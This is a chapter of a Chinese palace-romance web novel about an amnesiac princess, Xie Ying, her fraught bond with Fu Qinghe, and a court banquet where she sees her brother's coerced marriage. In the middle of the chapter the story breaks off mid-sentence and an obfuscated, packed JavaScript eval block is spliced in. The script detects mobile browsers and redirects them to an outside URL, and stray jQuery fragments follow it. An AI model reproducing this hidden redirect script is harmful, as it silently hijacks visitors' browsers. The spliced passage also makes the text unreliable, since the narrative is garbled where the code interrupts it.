“殿下……?”
“用这个擦擦吧,小心着凉。”谢映摸到冰凉的身体,她退到一边去。
男人的身体简直柔滑不似真人,她有些上瘾。
谢映不是铁石心肠的人,但凡换个人她已经答应了,但是傅清鹤是为了别的女人,即便是现在的谢映也无法答应。
想到男人请求的理由,谢映觉得自己更生气了。
“殿下您息怒了吗?”
“你闭嘴。”
傅清鹤抿唇,坐在了马车角落里,尽量不把淋湿的衣服挨近谢映。
谢映抖了抖被弄湿的衣服,她破天荒地还忍着怒火,“谁让你在这儿?”
傅清鹤摇头:“没有谁,您不愿意见我,我只好在这儿等您。”
“不知道去躲雨!?”谢映压抑不住的怒火即将喷涌。
她瞥了眼还在哗哗流水的男人,今晚的雨水很大,他平时的冷静自持已经不再,反而多了一丝脆弱。
男人天生微卷的长发不听话,从背后跑到了肩头,微微凌乱的发丝黏连在他的侧脸,纤长的睫羽轻轻抖动,上面的水珠随之滚落。
谢映咽了咽唾沫,不可否认,这个男人对她有致命的吸引力。
“到了,下车。”谢映率先撩开车帘走下去。
傅清鹤跟在她身后,走过走廊,他已经没了意识,因为淋了太久的雨,失温严重,半晌也走不动一步。
傅清鹤低着头,手指紧扣着门扉,只想回去好好休息。
他抬头,看见谢映站在自己面前,想说的话就这么哽住。
“殿——”傅清鹤话音刚落,被人搭着胳膊扛起来,他抓紧自己的手,被谢映拖着走。
谢映身板不高,在军队里就是靠灵活取胜的,傅清鹤再瘦那也是个成年男人,她拖得相当吃力,两人的身躯紧紧依靠在一起。
傅清鹤已经没有知觉,感知不到暖意,只是在贴近谢映身体的时候,女孩的身体熨帖着他的,他动了动眼皮。
“殿下……”慕容山从房中走出来,迎面撞见这一幕,“傅公子怎么了?”
谢映摇头:“你先回去。”
谢映把人扛回去,往床上一扔,便让下人处理去了。
她只是看不得有人死在自己府上,仅仅如此。
*
一早,谢映进宫了,马车摇晃到宫中的时候,她才刚刚清醒过来。
圣上子嗣众多,谢映生得晚,上头好几哥哥,其中三皇子谢维许的小儿子也满月了。
谢映刚撩开车帘就看见走下来的谢于曼,匡钧站在她身边,两人还真有几分夫妻相,只可惜像的不是谢于曼,而是长相不好的匡钧。
匡钧这人,眠花宿柳惯了,就算是三年前的谢映也清楚,这人不是什么好东西,即便是和她有婚约,也能和谢于曼搞到一起去。
她看向谢于曼,后者也在看她,片刻后,谢于曼转身欲走。
“等等,于曼,见到皇姐都不行礼?”谢映沉声道。
谢于曼转过来,看向谢映,她脸上挂着僵硬的笑容,还是匡钧出来打圆场:“皇姐好,是于曼不懂规矩。”
“听闻皇姐失忆了,忘了这三年的事情,现在看来,倒是真的……不过,我与匡钧已经成婚了,还请皇姐不要生气。”谢于曼幽幽行礼。
谢映眯了眯眼睛,还没说话,谢荷已经到了。
“在这儿做什么,还不进去?”谢荷对着谢映说。
“长姐请安,在门口见到,想不到皇姐如今这样心直口快,我都有些怀念了,皇姐这样和三年前一般无二,我很是怀念呢。”谢于曼唇角挂着笑容,尽管没有一点温度,谢映也已经在这长脸上找不到一点熟悉感。
谢于曼和匡钧走在前头,良久,谢荷才说:“你怎么和他们说上话了?”
谢映摇头,一边往宫殿里走一边说:“长姐,你说我这三年和谢于曼分道扬镳,我原本还不信,今日一见……彻底信了。”
谢荷叹气说:“这三年,你不和他们来往,平时见面都不理会,也不知道你怎么想的,或许是真的不想要打扰她费尽心思得来的婚姻。”
谢于曼羡慕谢映,这点谢荷一直都清楚,“她当年出嫁,抢的是你本该的丈夫,你还给她准备嫁妆,我的映儿就是好心。”
“嫁妆……?”谢映冷笑一声:“最好不要让我知道,她在背地里对我做过什么。”
谢荷看向谢映身边:“怎么今日只带了一个侍女?傅清鹤呢?”
含莲低声回答:“回大公主,傅公子身子不好,感染了风寒。”
说到这个,谢映脸色变得不太好,她生怕谢荷再问,连忙拉着谢荷往里走。
两人一同走进宫殿,迎面就看见走来的三皇子妃,当今三皇子只有一位妃子,最大的孩子已经六岁,现在小的还包在手里。
“皇嫂。”谢映乖巧喊道。
三皇子妃一顿,和她们打了声招呼后就往外走,脸色难看。
“这是怎么了?”谢荷疑惑道,她奇怪地看向离开的三皇子妃。
“长姐,映儿,你们来了,请坐请坐。”三皇子谢维许抱着一个奶团子,笑着让他们入座,经过谢映的时候,怀里的奶团子哭闹着要谢映抱。
谢映一愣,下意识伸手接过,于是刚满月的孩子扑腾得更加兴奋,“皇兄,我刚看见皇嫂跑出去了,你们这是怎么了?”
谢映记忆中,三皇兄和三皇嫂感情甚笃,两人都是少时夫妻,一步步走到今日,她这还是第一次看见三皇嫂这样失态。
“映儿你先坐下,她就是不高兴了,我去哄一哄。”
谢映还想说还,谢荷已经扯了扯她的衣服,小声说:“你不知道……少说两句,他俩一直不正常,这三年已经是演都不想演了。”
谢映从谢荷嘴里听见了一个她完全陌生的三皇兄,她印象中,三皇兄是所有皇子中最有名望的,就连三年前的谢映也比不过,但却输在了感情上。
“总之就是这样,那个女人一直看不上谢维许,闹得最凶的时候,两人直接打起来,不过…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668107|173017||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…闹来闹去,也不知怎么的,又折腾出一个孩子来。”谢荷叹息道,“强迫来的东西,总归不是自己的。”
谢映一听这话,看向谢荷:“长姐,我以前对傅清鹤真的很不好吗?”
谢荷摇头:“你……你让我怎么说比较好,我还从来不知道你那样固执,谁劝都没用,你说你要是找了个也喜欢你的也好啊!偏偏找了个有家室的。”
谢映尴尬地看向别处。
“自从将傅清鹤留在长安后,你就性情大变,我也和你聊不了两句,还有……你从南疆回来后,身体就发生了奇怪的变化,你自己察觉到了吗?”
谢映一愣,感受了一下后说:“没有啊,我好得很。”
“那就奇怪了,你也不告诉我是得了什么病,除了傅清鹤几乎不接触任何人,老实说我都很担心你。”
谢映抿唇,最终还是觉得交代:“傅清鹤……私下见了他的妻子,我能不生气?”
谢荷冷笑一声:“你之前可是会追过去的,怎么现在连生气都不好意思了?不过啊,我劝你,你要是不喜欢人家了,刚好放人家一条生路。”
“我怎么就不放他自由了,我——”谢映话没说完,忽然想到,如果傅清鹤真的离开了自己,那样的情况她好像真的没想过。
即便是失忆了,她现在对傅清鹤还是不清白。
谢荷看得一清二楚,只好摇头说:“看来……谢维许的下场就是你的下场。”
说话间,三皇子妃已经回到了宫殿里,站在谢维许身边,两人不论是衣着还是气质都不搭,举手投足间,都是谢维许的一厢情愿,诡异在两人之间蔓延。
敬酒结束,谢映腿上的孩子立刻闹着要父亲抱。
三皇子妃瘦弱,这个女人皮肤白皙,虽然比不上天仙,但却看得出是大户人家的小姐,和谢维许这种在军队长大的汉子不同。
谢映想不明白,这样的两人,私下这样不合,表面也是人人艳羡的夫妻。
三皇子妃沉默,坐在谢维许身边,他夹什么菜,她就吃什么,没有人和她说话,她也不会搭理任何人。
“啪。”
一声轻响,三皇子妃手里的筷子掉在地上,连带着一旁的骨碟也打碎了。
谢维许立刻看了过来,第一时间拉过她的手,细细打量,确定没手上,才说:“怎么做的事,怎么能把碟子放在离皇子妃这么近的地方!?”
被训斥的下人哆哆嗦嗦:“三皇子……是奴婢的错,求皇子饶命啊。”
谢维许还想生气,衣袖被人扯了扯,他一低头,就看见女人红着眼睛看他,他心里的气顿时消了一半。
三皇子牵着三皇子妃的手,女人的手小得不可思议,即便知道她不是情愿,却还是沉溺其中。
谢映坐在远处,看着这一幕,谢维许沉溺其中的神色她太了解了,三皇子妃的顺从就是他暴戾的营养剂,就像傅清鹤的顺从一样。
她心里不大舒服,或许傅清鹤对她也是这样的顺从,无可奈何,而不是心甘情愿。